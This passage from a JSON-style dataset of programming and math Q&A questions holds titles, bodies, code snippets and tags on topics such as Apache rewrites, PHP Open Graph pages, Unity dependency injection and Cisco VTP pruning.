The back face is shown up to about 180 deg, then POOF!\nI tried various
configurations of and setting the back face visibility or not.\nKind of lost at
this point :P\n", "preserve-3d", "google-chrome css3 webkit 3d"], "4225576":
["apache rewrite rule exceptions", "So I have www.domain.com/dir/ inside which i
have:\n- search.php\n- search.css\n- search.js\n- images/ folder with some images
displayed in search.php\nthe requests to the search.php files are done as such:\
nwww.domain.com/dir/search.php?word=aaa&type=bbb\nand I want to create a friendly
url as such ( without the initial url changing
) :\nwww.domain.com/dir/aaa/bbb\nso i created an .htaccess file inside the dir/
and applied the following rule to the .htaccess:\nRewriteRule ^(.+)/(.+)$
search.php?word=$1&type=$2 [L]\nand it works except for the fact that the text is
garbled and the images are not displayed. So I'm trying to exclude the
aformentioned css /js and images files to no success. here's what i've tried so
far:\nRewriteRule search.css$ http://www.domain.com/dir/search.css [L]\nRewriteRule
search.js$ http://www.domain.com/dir/search.js [L]\nRewriteRule images/(.+)$
http://www.domain.com/dir/images/$1 [L]\n( putting them BEFORE the redirection rule
) but it doesn't work.\nany ideas ? thanks in advance!\n", "", "apache mod-rewrite
url-rewriting httpd"], "3474561": ["Caught: java.lang.OutOfMemoryError: Java heap
space - Using -Xmx not applicable", "I have written a very complex database
migration script in Groovy, that runs just fine on my workstation but
produces \"Caught: java.lang.OutOfMemoryError: Java heap space\" when run on the
server's JVM. JVM is stuck as is (limited resources as an intern), so I need to
figure out another way to fix this besides increasing available memory. \nThe error
strikes when some of the largest tables are accessed: a particularly large, but
simple, join (200,000+ rows to 50,000+ rows). Is there another way I can approach
such a join that will save me from the error?\nExample of query:\n\n",
"target.query(\"\"\" \n SELECT \n a.*, b.neededColumn \n FROM \n
bigTable a JOIN mediumTable b ON \n a.stuff = b.stuff \n ORDER BY stuff
DESC \n\"\"\") { ResultSet rs ->\n ...\n}\n", "groovy jvm outofmemoryerror"],
"5470526": ["Facebook Open Graph Object Dynamic Webpage", "So I'm making an iPhone
app that involve sharing through Facebook open graph protocol.However I'm stuck
while creating a dynamic webpage for the object with meta tag. I came across this
post, Dynamic generation of Facebook Open Graph meta tags, and tried using the
code, but it doesn't work.\nThis is my food.php object webpage.\n\nWith this code
reside in my server, I tried access the page using fb object debugger tool with
this url.\n\n*note there is no space in the url\nand the debugger throws this
error\nError Parsing URL:Error parsing input URL, no data was scraped.\nI suppose
the problem lies in the url that I entered because the tool cannot parse it?If not
what could it be?\n", "<?php\n\n$params = array();\nif(count($_GET) > 0) {\n
$params = $_GET;\n} else {\n $params = $_POST;\n}\n\n// defaults\
nif($params['type'] == \"\") $params['type'] = \"food\";\nif($params['title']
== \"\") $params['title'] = \"default title\";\nif($params['image'] == \"\")
$params['image'] = \"blank\";\nif($params['description'] == \"\")
$params['description'] = \"default description\";\n\n?>\n\n<!DOCTYPE html
PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"
\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html
xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">\n\n <head
prefix=\"og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# MY_APP_NAME_SPACE:
http://ogp.me/ns/fb/MY_APP_NAME_SPACE#\">\n\n <!-- Open Graph meta tags -->\
n <meta property=\"fb:app_id\" content=\"MY_APP_ID\" />\n <meta
property=\"og:url\" content=\"http://mysite.com/index.php?type=<?php echo
$params['type']; ?>&title=<?php echo $params['title']; ?>&image=<?php echo
$params['image']; ?>&description=<?php echo $params['description']; ?>\"/>\n
<meta property=\"og:type\" content=\"MY_APP_NAME_SPACE:<?php echo
$params['type']; ?>\"/>\n <meta property=\"og:title\" content=\"<?php echo
$params['title']; ?>\"/>\n <meta property=\"og:image\"
content=\"http://mysite.com/img/<?php echo $params['image']; ?>.jpg\"/>\n
<meta property=\"og:description\" content=\"<?php echo $params['description']; ?
>\"/>\n\n </head>\n</html>\n", "php facebook facebook-graph-api facebook-
opengraph meta-tags"], "4177902": ["How can I get dual monitors to work in Fedora
12?", "I have 2 monitors connected to my PC.\nI have dual boot win7 and fedora 12\
nIn win7 I have it set to have dual screen so I can drag windows between the two\
nHow can I configure this in fedora? It doesn't seem to recognise the 2nd monitor,
it remains on standby\n", "", "multiple-monitors fedora"], "5657578": ["The
embedding of smooth manifold", "I have run into a problem in my differential
geometry book.\nLet $M$ be a smooth manifold and $F={C^\\infty }(M,\\mathbb R)$.
Define a mapping $i:M \\to {\\mathbb R^F}$ by ${i_f}(x) = f(x)$ for $x \\in M,f \\
in F$, then $i$ is an embedding. ($\\mathbb R^F$ has product topology and $i_f$
means the component)\nThe injectivity and continuity are not hard, but I cannot
prove the mapping to be an embedding.\n", "", "differential-geometry manifolds"],
"3076405": ["CakePHP 2: Acl tutorial doesn't work", "as the title already says I've
got a problem with the Acl Tutorial of CakePHP 2.\nI've done everything exactly the
way it is mentioned in the Tutorial, but still it doesn't work.\nI know that there
are many people on the internet which have also a problem with this tutorial, but I
can't find any blog entry or whatever with the same problem like me. \nWhen I try
to access a direction of my app I get the following error:\n\nand:\n\nSo there
isn't any value for the foreign_key transmitted to the Acl at all.\nBut the strange
thing is that -at least in the functions of the userscontroller- the foreign_key is
set properly but when it should be passed to the Acl it is gone\n\nThe lines from
the error message are:\n\nSo why is the value of the foreign_key firstly '2' (how
it is supposed to be) and afterwards NULL ?\nI hope some of you are able to help
me.\nThanks.\nPS: For everyone who would prefer the german version of my question,
here it is\nUPDATE:\nI was able to make it work for all functions of the
userscontroller through this:\n\nBut for all other Controllers its still the
same..\nHas any one an idea how i could get the users data in the model, so that it
works also for the other controllers?\n", "Notice (8): Undefined index: group_id
[APP\\Model\\User.php, line 98]\n", "cakephp foreign-keys acl cakephp-2.2"],
"2383521": ["dns returning null answer when using dnscache", "I have a strange
issue with Ubuntu's dnscache package. I am connected with an ethernet cable to my
router (NAT is on), and I assigned myself a static ip. I set the dns server
location to 127.0.0.1 (where the dnscache should be listening) and the so that it
uses 8.8.8.8 and 4.4.4.4 (google's dns services).\nNow, the problem with this setup
is that very often the dns queries result with a null response. I inspected the
packets actually sent with wireshark: this is the result of . Both the queries seem
well formed, both ask to 8.8.8.8, but the first gets a null response, the second a
correct one!\nThe only difference is the transaction ID, but I don't really
understand why it should matter at all. Then, for two identical queries I should
get the same reply. Is here Wireshark failing to show me what is exactly sent out?\
n", "/etc/dnscache/root/servers/@", "ubuntu dns wireshark"], "4781066": ["Is there
a good website were i can learn ajax", "hi if you are reading this then please help
me, by telling me a good website were i can learn ajax easily, with written or
video tutorials, but i want a website with straight forword and clear tutorials,
Thank You\n", "", "ajax website tutorials"], "2786079": ["open html page with
jquery and autocomplete", "I have tried for 3 days now to make an link working from
an autocomplete jquery script with no success, \nI'm new at this but I have made
my homepage with very little CSS and Javascript.\nNow I want to learn more.\nI want
that if you search for one word forexample text1 in autocomplete textbox, then by
choosing that by pressing enter or clicking on it the window it self will open an
new link to a website (within the same window)or html file, or local html file
within a folder.\nIm making an app to Iphone with mobione and want to make an
searchfunction as easy and quick to find what text im looking for.\nThis is my
code. I really appreciate some help in this, Thanks :)\n\n", " if
'availableTags' = \"text1\"\n
open.window(http://www.blablablah.com/index.html)\n", "autocomplete"], "4482466":
["Multiple Ruby apps on one port, RackBaseURI help", "I'm trying to get two Ruby
apps to work from the same port. I don't know server technology at all, so forgive
my ignorance. I've tried to follow this
doc:\nhttp://www.modrails.com/documentation/Users%20guide%20Apache.html\nsections
4.1 - 4.3, but I keep messing something up. I've tried to simplify a little, so
here is my situation. I have two simple rackup apps
here:\n/Users/dan/webapps/test1\n/Users/dan/webapps/test2\nThey each have
the \"config.ru\" file, the public/ folder, and the tmp/ folder
with \"restart.txt\", as directed. They both work on their own. \nI have the
following in my httpd.conf file:\n\nI start apache, and then put this in my
browser: http://localhost/test1. I get:\nForbidden\nYou don't have permission to
access /test1 on this server.\nI'm not surprised it doesn't work, because I am
supposed to set up a symlink but I don't know how to apply that to my setup. Here
is the example from the doc:\nln -s /webapps/rackapp/public /websites/phusion/rack\
nCan you tell me how to set up the symlinks, and let me know if you see anything
else wrong? Please give the \"for dummies\" answer, this stuff boggles my mind.
Thanks!\n", "<VirtualHost *:80>\n ServerName localhost\n DocumentRoot
/Users/dan/webapps\n <Directory /Users/dan/webapps>\n Allow from all\n
</Directory>\n RackBaseURI /test1\n <Directory /Users/dan/webapps/test1>\n
Options -MultiViews\n </Directory>\n RackBaseURI /test2\n <Directory
/Users/dan/webapps/test2>\n
Options -MultiViews\n </Directory>\n</VirtualHost>\n", "ruby phusion-
passenger"], "2790329": ["How to get volume hotkeys in W7?", "Windows 7 implemented
new Win+X hotkeys. These took over the hotkeys used by Sound Volume Hotkeys
http://www.softarium.com/soundvolumehotkeys, which I used to use in XP.\nI need
software control of my volume, and changing the volume via a slider in the tray is
totally impractical and slow.\nDoes anyone else have a solution that lets them
easily raise/lower the system volume in W7 using hotkeys?\n", "", "windows-7
audio"], "3096387": ["Python closure and function attributes", "I tried to
reimplement something like (which later will have more behavior). Now in the
following example seems to work just as fine as , so I don't understand why the
documentation of suggests using the longer second version. Any suggestions? Can it
get me in trouble?\n\nEDIT: Actually the answers given so far aren't quite right.
Even with double arguments it would work. Is there another reason?\n\n", "partial",
"python closures"], "113354": ["wrong mock_model in rspec", "Here is the rspec code
for create in controller:\n\nHere is the create in controller:\n\nHere is the error
in rspec:\n\nThe problem is with the mocking data of @customer. What's wrong with
the mocking in spec? \nThanks.\n", "describe \"'create' successful\" do\n
before(:each) do\n\n @customer = mock_model(Customer)\n
@customer.stub(:save).and_return(true) \n\n session[:sales] = true\n
session[:user_id] = 1\n session[:user_name] = \"sales.name\"\n
session[:page_step] = 1\n session['page1'] = customers_path\n end\n\n
it \"should create one customer record\" do\n lambda do\n put 'create',
@customer \n end.should change(Customer, :count).by(1)\n end\n\n
it \"should redirect to customers path\" do\n put 'create', @customer\n
flash[:notice].should_not be_nil\n response.should redirect_to(customers_path)\n
end\nend\n", "ruby-on-rails ruby-on-rails-3.1 rspec2"], "2741934": ["How do I
compile this project? (Gleed2D)", "I've downloaded the .zip of this project here:\
nhttps://github.com/SteveDunn/Gleed2D\nAnd I installed Visual Studio 2010 Ultimate
Trial and installed XNA 4.0. But when I try to open the included Gleed2D_Tool.sln
file I get the error message:\n\nI'm stumped by the incredibly useless error
message. Does anyone know what I need to do to get this to compile?\n", "C:\\
Users\\Admin\\Desktop\\SteveDunn-Gleed2D-0ffaae5\\SteveDunn-Gleed2D-0ffaae5\\src\\
Gleed2D.Ui\\Gleed2D.csproj : error : The project file 'C:\\Users\\Admin\\Desktop\\
SteveDunn-Gleed2D-0ffaae5\\SteveDunn-Gleed2D-0ffaae5\\src\\Gleed2D.Ui\\
Gleed2D.csproj' cannot be opened.\n\nThe project type is not supported by this
installation.\n\nC:\\Users\\Admin\\Desktop\\SteveDunn-Gleed2D-0ffaae5\\SteveDunn-
Gleed2D-0ffaae5\\src\\Gleed2D.Core\\Gleed2D.Core.csproj : error : The project file
'C:\\Users\\Admin\\Desktop\\SteveDunn-Gleed2D-0ffaae5\\SteveDunn-Gleed2D-0ffaae5\\
src\\Gleed2D.Core\\Gleed2D.Core.csproj' cannot be opened.\n\nThe project type is
not supported by this installation.\n\nC:\\Users\\Admin\\Desktop\\SteveDunn-
Gleed2D-0ffaae5\\SteveDunn-Gleed2D-0ffaae5\\src\\Gleed2D.Plugins\\
Gleed2D.Plugins.csproj : error : The project file 'C:\\Users\\Admin\\Desktop\\
SteveDunn-Gleed2D-0ffaae5\\SteveDunn-Gleed2D-0ffaae5\\src\\Gleed2D.Plugins\\
Gleed2D.Plugins.csproj' cannot be opened.\n\nThe project type is not supported by
this installation.\n\nC:\\Users\\Admin\\Desktop\\SteveDunn-Gleed2D-0ffaae5\\
SteveDunn-Gleed2D-0ffaae5\\src\\Gleed2D.Plugins.Krypton\\
Gleed2D.Plugins.Krypton.csproj : error : The project file 'C:\\Users\\Admin\\
Desktop\\SteveDunn-Gleed2D-0ffaae5\\SteveDunn-Gleed2D-0ffaae5\\src\\
Gleed2D.Plugins.Krypton\\Gleed2D.Plugins.Krypton.csproj' cannot be opened.\n\nThe
project type is not supported by this installation.\n\nC:\\Users\\Admin\\Desktop\\
SteveDunn-Gleed2D-0ffaae5\\SteveDunn-Gleed2D-0ffaae5\\src\\Gleed2D.InGame\\
Gleed2D.InGame.Windows.csproj : error : The project file 'C:\\Users\\Admin\\
Desktop\\SteveDunn-Gleed2D-0ffaae5\\SteveDunn-Gleed2D-0ffaae5\\src\\
Gleed2D.InGame\\Gleed2D.InGame.Windows.csproj' cannot be opened.\n\nThe project
type is not supported by this installation.\n\nC:\\Users\\Admin\\Desktop\\
SteveDunn-Gleed2D-0ffaae5\\SteveDunn-Gleed2D-0ffaae5\\src\\Gleed2D.InGame.Krypton\\
Gleed2D.InGame.Krypton.Windows.csproj : error : The project file 'C:\\Users\\
Admin\\Desktop\\SteveDunn-Gleed2D-0ffaae5\\SteveDunn-Gleed2D-0ffaae5\\src\\
Gleed2D.InGame.Krypton\\Gleed2D.InGame.Krypton.Windows.csproj' cannot be opened.\n\
nThe project type is not supported by this installation.\n", "c# visual-studio
compilation xna"], "2442639": ["PHP: Running a shell command from PHP?", "\nWhy
doesn't php show me a list of files and directories when I run this code?\n", "echo
shell_exec(\"ll\");\n", "php linux"], "3296960": ["How to optionally depend on a
shared object with gcc?", "First, I don't know if there is a solution to my problem
at all.\nI have the following situation:\n\nI have developed a framework library
that depends on several other libraries for specific hardware access, etc.\nUntil
now this framework library was only statically linked against.\nFor the executable
that uses the framework library only the dependencies of code that is actually used
by the executable have to be linked. (If I don't access a specific hardware at all
I don't have to depend on its associated libraries.)\n\nNow I need to also make a
shared object of the framework library. Also the dependencies are available as
shared libraries, so there is no need for any static linking.\nThe problem I have
now:\n\nWhen building an application that links dynamically to the framework
library I have to either link all dependencies dynamically to the framework library
or the application. (Otherwise I get undefined references complaints from ld)\n\nMy
questions:\n\nIs there any way to ignore certain shared object dependencies if I
know that my application will not use any code of the framework library that
depends on this shared object?\nIs there any way to do this without or with minimal
code changes? (linker / compiler switches)\n\nI also need the static linking as
described in the original situation to still work.\nAdditional Info:\n\nOperating
system: Linux (Debian Lenny)\nCompiler: gcc-4.3\n\n", "", "c++ gcc linker shared-
libraries"], "3916785": ["Catching img load error for <img> tags created after page
load (e.g. via AJAX)", "I'm using jQuery's event handler to catch image loading
errors. It looks like this:\n\nThis works great for images that are in the DOM when
the page is loaded. However, I'd like to catch the errors for tags that get
inserted via AJAX, too. I'd prefer to not have to run certain code after every AJAX
call.\nI'd like something like this, although this doesn't seem to work:\n\n",
"error", "javascript jquery ajax events"], "2741689": ["Move to start and end of
search lookup in Emacs", "How can you have the point at the beginning or end of the
search string when accepting a search ?\nSo say you do C-s \"foobar\", I would like
to have my cursor at the end of the found string when I press RET and at the
beginning if I press C-RET.\nThanks\n", "", "emacs"], "4568025": ["Copy File to
Clipboard", "Simple Question that I just realized would be very useful.\nUnder
Linux (or really any 'nix environment) is it possible from the command line (or by
other fashions, but primarily command line) to copy a file to the clipboard? Any
example of this working would be appreciated but the best answer would be a general
case in which this is possible across multiple 'nix environments (I'm running
Fedora 10 atm if that makes any difference).\n", "", "command-line copy nix
clipboard"], "5132533": ["Ext.Template is not defined", "I'm having trouble
preparing my application for deployment. I'm using ext-dev.js and have a compnent
with the following:\n\nOn application startup it gives an \n\nExt.XTemplate is not
a constructor\n\nDo you have a solution for this?\n",
"Ext.define(myNameSpace.myComponentName, {\n requires: ['Ext.XTemplate'],\n
tpl: new Ext.XTemplate('someTemplate')\n})\n", "javascript extjs"], "1645102":
["Parsing XML's , JSON's and newer data file formats in UNIX using command line
utilities", "Unix environment has some excellent tools for parsing text in various
forms. However off late the data is not in the regular set of
formats(CSV,TSV,Record based or some other delimiter based) it used to be before.
Data these days is exchanged in structured formats like XML's/JSON's.\nI know there
are some good tools like sed, awk and Perl which can chew down nearly form of data
out there. However to work with this sort of structured data often one has to write
a complete program and given the little time available to extract information, one
has to sit down and figure out the whole logic of what one wants to query and put
it down programatically. Sometimes this is not OK. Basically because the
information extracted from those files acts inputs for further work. Also because
of the time it takes to search for the appropriate solution and coding it up. A
command line tool is needed with sufficient switches to find, query and dump data.\
nIm looking for tools that take a XML/JSON or other forms of structured data and
dump it into other formats like csv etc. So that from there one could use other
commands to get any information out of it.\nAre there any command line utilities
you know of which do this kind of a job. Are there already awk/Perl scripts
available to this?\n", "", "text-processing xml"], "2881046": ["Unity - How to
avoid circular reference?", "I'm trying to implement dependency injection in my
ASP.NET MVC Project using Unity and would like some advice on how to avoid circular
references.\nAt my work we used to implement the service locator pattern,
which returned a singleton for each individual service of the application.\n\nThen
in the controller, you could easily access all the services by instantiating the
ServiceWrapper and calling methods, like:\n\nSetting up DI using Unity was a
breeze. I created a container in Application_Start() (global.asax), like so:\n\nThe
ServiceWrapper is registered as a Singleton. And implemented constructor injection
as follows:\n\nThat worked beautifully. But then I came accross the problem. \nWe
like every service to also have a property containing the ServiceWrapper, so that
you can easily access the other services from within another, like so:\n\nBut when
I implemented constructor injection of the ServiceWrapper in the individual
services, it resulted in a stackoverflow exception due to circular referencing.\nI
read that Unity does not support circular referencing. Is there a (solid) way
around this. Or should I implement a different architecture? If so, could you
recommend a solution?\n", "public class ServiceWrapper \n{\n private UserService
_userService;\n private ProductService _productService;\n\n\n public UserService
User\n {\n if(_userService == null) \n {\n _userService = new
UserService();\n }\n return _userService;\n }\n\n public ProductService
Product\n {\n if(_productService == null) \n {\n _productService = new
ProductService();\n }\n return _productService;\n }\n}\n", "c# asp.net-mvc
unity circular-reference"], "1848653": ["Display additional User details in Custom
List", "I have a custom list definition based upon a content type which includes a
field of type \"User\".\nWhen I display this field in my list view, it shows the
name with a link to the entry in the site collection user information list.\nI
would like to have additional user information displayed in the view, taken from
the user's profile, including things like Position and Organisation. Is there any
way to acheive this through changes to the List's ?\nIf this is not possible, is
there a way I can do it by over-riding the display of the User field for particular
lists to include additonal information? Possibly with XSL?\n", "Schema.xml", "user-
profile list-view custom-list"], "685224": ["Question about VTPv3 Pruning", "I have
found that I can get extended VLANs to propagate with VTP using version 3, but I
noticed that it still does not prune extended VLANs. I tried to add an extended
VLAN to the prune eligible list but received an error:\n\nIs there a way to allow
VTP to prune extended VLANs?\nIf not what is the point of supporting extended VLANs
to begin with?\n", "CAT_3750-48-TS(config-if)#switchport trunk pruning vlan 1120\
nCommand rejected: Bad VLAN list - character #5 (EOL) delimits a VLAN\nnumber
(1120) out of the range 1 to 1005.\nCAT_3750-48-TS(config-if)#\n", "networking
cisco"], "1170692": ["What is the next \"Tribonacci-like\" pseudoprime?", "Given
the three roots of $x^3=x^2+x+1$. Then we get the tribonacci-like sequence,\n$B_n =
x_1^n+x_2^n+x_3^n = 3, 1, 3, 7, 11, 21, 39, 71, 131,\\dots$ \nwhere $B_n = B_{n-
1}+B_{n-2}+B_{n-3}$, and the index starts with n = 0. This is A001644 of the OEIS.\
nI noticed that, like for the Lucas numbers, if n is prime then n divides $B_n-1$.
(For example $B_7=71$ minus 1 is div by 7.) But it also has pseudoprimes, one of
which is n = 182.\nQuestion: What is the next pseudoprime? \n(If I did my
Mathematica session correctly, then this is the ONLY one for n < 5000, versus the
Lucas numbers which has 5 pseudoprimes within that range.) \n", "", "sequences-and-
series elementary-number-theory prime-numbers fibonacci-numbers"], "631300":
["Polynomial equations in 2 variables with symmetry", "Suppose $P(x,y)$ is a
polynomial with real coefficients.\nIs it true that any solution $(x_0,y_0)$ of the
system $P(x,y)=P(y,x)=0$\nhas the property that $y_0 = \\overline{x_0}$ (i.e. they
are conjugate),\nprovided that the number of solutions is finite?\nNotice that if $
(x,y)$ solves the equation, then $(\\overline{x},\\overline{y})$\nalso solves the
system, and hence $(\\overline{y},\\overline{x})$ does too.\nThus, the set of
solutions is symmetric w.r.t both reversing order of coordinates and conjugation of
both coordinates.\nA nice proof would be to just count the number of solutions of
the form $(x,\\overline{x})$, and just use Bezouts theorem to see that there can't
be any more, but I have no success proving that there are sufficiently many of that
form.\n", "", "polynomials complex-numbers"], "3969446": ["Visual Studio 2008 give
error of component not found", "I'm been using VS 2008 \"forever\". Rebooted
yesterday and now I get an error that says a component can not be found. Reinstall
application.\nI've reinstalled, I've uninstalled and installed VS2008 twice and
still get the same error.\nSearching on the net shows people having a similar
problem with a missing alt dll, but I don't have VC++ loaded and that dll is not
missing. Have ran the depends.exe and the only missing dll is dwmapi.dll, which
isn't even needed on a Windows XP os. Tried using /safemode and it still fails. \
nI need some more ideas or a way to find out what exactly is missing.\nThanks\
nDwight\n", "", "visual-studio-2008"], "5948516": ["Digital Right Management (DRM)
forward lock in Windows Mobile", "Is it possible to apply DRM forward lock to
windows mobile applications?\n", "", "security windows-ce mobile-phones drm"],
"5947891": ["How to play iTunes Store Purchased DRM videos in iphone app?", "Does
anyone know how to play the iTunes-Purchased content(Movies/TvShows) in our app.\nI
tried with below code, but I am getting mediaUrl as nil for
videos(Movies/TvShows).\n\nCan anyone help me on this?\n", " .......\n\n
NSNumber *videoTypeNum = [NSNumber numberWithInteger:MPMediaTypeAnyVideo];\n
MPMediaPropertyPredicate *videoPredicate = [MPMediaPropertyPredicate
predicateWithValue:videoTypeNum forProperty:MPMediaItemPropertyMediaType];\n
MPMediaQuery *videoQuery = [[MPMediaQuery alloc] init];\n [videoQuery
addFilterPredicate: videoPredicate];\n NSArray *items = [videoQuery items];\n\n
for (MPMediaItem *mediaItem in items) \n {\n\n NSURL *mediaUrl = (NSUrl
*)[mediaItem valueForProperty:MPMediaItemPropertyAssetURL];\n }\n\n ......\
n", "iphone video-streaming mpmovieplayercontroller drm movies"], "3167634":
["Mysql unique index for voting system", "In a table for recording votes on posts
as\n\nHow to add to avoid duplicate voting? If the voter is user, UNIQUE INDEX
should apply to (post_id, user_id); and if not a user, UNIQUE INDEX should apply to
(post_id, ip).\nIn fact, I need to have only for (post_id, user_id) OR (post_id,
ip); but NOT both.\n", "CREATE TABLE votes\n(\nvote_id int(11) NOT NULL
AUTO_INCREMENT,\npost_id int(11) REFERENCES posts(post_id) ON DELETE CASCADE,\
nuser_id int(11) REFERENCES users(user_id) ON DELETE SET NULL,\nvote ENUM('Up',
'Down'),\nip varchar(255),\nUNIQUE INDEX (on which???)\nPRIMARY KEY(vote_id)\n)
ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE utf8_general_ci\n", "mysql sql query
unique unique-constraint"], "1531939": ["PDF generated by Latex doesn't open in
100% zoom", "I created a pdf in Latex. All is well, except that I want to have the
generated pdf to open at 100% zoom level by default when opened in adobe pdf
reader. Currently, it is being displayed at 57%. I have also noticed other
instances of pdf generated by my other Latex code being displayed at zoom levels
other than 100%.\nIs this just an issue with viewer or does this deviation from
100% zoom has to do something with Latex code in itself. I mean, if you change the
page borders or something (or that the document type is article and not book or
something else); does that effect the default zoom?\n", "", "pdf latex zoom"],
"3980046": ["How to replace an audio tag with a video tag in Javascript or
replacing a tag with another tag", "I want to replace all tags with tags in an
html document. How do I do that with a javascript function?\nPlease help me with
writing the function. I have no clue about it and thanks in advance.\n", "<audio>",
"javascript html tags"], "3861236": ["Is it necessary to create pages with the
recent changes to the Facebook like button?", "I was reading over the changes to
the Facebook Like button that are scheduled to take place in November 2012, and I'm
a bit confused (and hoping someone has an answer).\nI understand that the REST
endpoints are being removed in favour of regular pages, but here's where I'm
confused.\nPreviously, if I did the following...\n\nCreate a page\nAdd the correct
OpenGraph metatags to the page\n'Like' the page\n\n... Then an OpenGraph object
would be created automatically (and could be verified by visiting
http://graph.facebook.com/?id=my_url). If I published to that OpenGraph object,
people would receive updates.\nHowever, with the changes, if I understand them
correctly, the OpenGraph object is no longer created? Or it is created, but I still
need to create a Facebook page to administer and send messages?\nAny help would be
appreciated.\n", "", "facebook-graph-api facebook-like opengraph facebook-
opengraph"], "1865644": ["PCL XL Error on HP Printer", "I wanted to print something
but my HP Laserjet 1200 printer gave me this error printed out:\n\nLast time I
tried to print something, everything worked fine.\nI use Linux Mint 10, with
KDE4.6. My printer driver is included in the HPLIP package for Ubuntu.\nAfter a bit
research on the web, I have found that this is quite a common error for HP printers
but I can only find solutions for Windows.\nDoes anyone know how I can get it
working?\n", "PCL XL error \n Subsystem: KERNEL \n Error: IllegalTag \
n Operator: 0x34 \n Position: 114307\n", "printer hp"], "5556604":
["Better understand Read Timeout During SOAP Request/Response", "I would like
someone to clarify something
for me:\nThere are two kinds of timeouts that exist during SOAP
requests/responses:\n1- Connection Timeout\n2- Read Timeout\nThis applies at least
to Axis1/Axis2, which I'm currently using.\nThe connection timeout happens when the
client couldn't connect to the web service in question within the set Connection
Timeout value, and which would eventually result in throwing the following
exception :\nCould not connect to host within a timeout of \"value\".\nAs for the
Read Timeout, I'm really not sure about it, and I don't know which assumption is
true. Let's take a scenario for example, in which a client is sending data to a web
service, which will in turn process the data, checks for their sanity, inserts them
into the database when they are, and then the web service will send some data back
to the client. Bottom line, we have a significant amount of processing time on the
server, and significant data that's being sent back and forth between the client
and the web service.\nWhat I'm unable to understand is when is a read timeout
exception thrown by the client?\n1- Could it happen when the client is still in the
process of marshaling the objects that are being sent to the web service?\n2- Could
it happen during the process when the web service has already started writing its
response to the open socket?\nI could really appreciate clear answers on this.
Thanks a lot in advance. \n", "", "soap timeout"], "3206764":
["Application.launch() issue in javaFX 2.0", "In my code, I have used :\n\nto run a
UI of MyDesign from a seperate class.\nWhen it calls , it executes the constructor
of class. I have created a object earlier and initialized its attributes. So I
got a new object after calling . I need to stop the calling its constructor when I
call \n\nYour feed back is highly appreciated. Thanks.\n",
"Application.launch(MyDesign.getClass(), null);\n", "java javafx-2"], "1874662":
["\"final\" state in Spting web-flow inheritance?", "Is there any concept of the
Java keyword in Spring web-flow inheritance? Basically, is there a way to mark a
state in a parent flow so that any child flows cannot have the same state? This
would ensure that everything for this state was always defined up in the parent
flow. I looked in the reference docs, and didn't see anything about it, but I was
wondering if someone could tell me definitively one way or another.\n", "final",
"inheritance spring-webflow"], "2136441": ["DNS remit, internal and external of a
network?", "What exactly is the remit of DNS? Is it simply for when a user wishes
to visit an IP address from a browser by entering a URL? Or does the user have to
be visiting a website external to the network, so what about when visiting internal
web pages on the same web server etc?\nOn a wifi login page, if the captive portal
uses IP redirection and then afterwards the user enters in their credentials- the
browser has to send them to the AAA server, would DNS be used here, or only if the
AAA server was external? (Or neither?). Or would the DNS kick in after the AAA
server has replied, sending the user to the website they wanted/an unsuccessful
login page?\nI just want to understand for what actions exactly DNS is used with
regards to internal/external network?\nEDIT After doing some more looking around im
fairly certain DNS is used within RADIUS, but could someone still confirm/explain?\
n", "", "wireless-networking dns"], "2724698": ["How to avoid code duplication or
multiple iterations?", "Consider the code given below: \n\nI have a container which
contains either Person or PersonSSN only, (known at compile time) sorted in the
ascending order of salary value. I have to write a function myfunc() which does the
following. \n\nI have two solutions for this problem but both have some drawbacks.\
nSolution 1: If I write a function for printing the number of females between males
and another function for printing the ssn, I have to iterate through the data twice
which is costly.\nSolution 2: I can write two classes, , and derived from and
have a virtual function . But then the code segment which prints the number
females has to be copied from the method of the class into class. Here code re-
use is not there.\nWhat is a better solution?\n", "struct Person{\nenum
sex{male,female};\nint salary;\n};\n\nstruct PersonSSN:public Person{\nint ssn;\
n};\n", "c++ oop code-reuse"], "4424082": ["silverlight 4 templated control with
multiple content presenters", "Im trying to create a templated control that has a
header, body, and footer content presenters.\nSo I created a class called
BaseDockedSectionControl:\n\nIn App.XAML, I add a style to the
Application.Resources:\n\nI then create a user control called Test.xaml, and enter
the following xaml:\n\nWhen I type in the TextBlock, the intellisense doesnt
recognize it, and when I type it in, I get the message \"Property Header does not
support values of type 'TextBlock'\nWhat am I doing wrong?\n", "public class
BaseDockedSectionControl:Control\n{\n public BaseDockedSectionControl()\n {\n
DefaultStyleKey = typeof(BaseDockedSectionControl);\n }\n\n public Grid
Header\n {\n get { return (Grid)GetValue(HeaderProperty); }\n set
{ SetValue(HeaderProperty, value); }\n }\n\n // Using a DependencyProperty as
the backing store for Header. This enables animation, styling, binding, etc...\n
public static readonly DependencyProperty HeaderProperty =\n
DependencyProperty.Register(\"Header\", typeof(Grid),
typeof(BaseDockedSectionControl), new PropertyMetadata(null)); \n\n
public Grid Body\n {\n get { return (Grid)GetValue(BodyProperty); }\n
set { SetValue(BodyProperty, value); }\n }\n\n // Using a DependencyProperty
as the backing store for Body. This enables animation, styling, binding, etc...\n
public static readonly DependencyProperty BodyProperty =\n
DependencyProperty.Register(\"Body\", typeof(Grid),
typeof(BaseDockedSectionControl), new PropertyMetadata(null));\n\n\n\n public
Grid Footer\n {\n get { return (Grid)GetValue(FooterProperty); }\n
set { SetValue(FooterProperty, value); }\n }\n\n // Using a
DependencyProperty as the backing store for Footer. This enables animation,
styling, binding, etc...\n public static readonly DependencyProperty
FooterProperty =\n DependencyProperty.Register(\"Footer\", typeof(Grid),
typeof(BaseDockedSectionControl), new PropertyMetadata(null));\n\n }\n",
"silverlight"], "3289254": ["Should Singleton pattern be used for Android
MediaPlayer", "I am a newbie to Android and currently learning the Android SDK.\nI
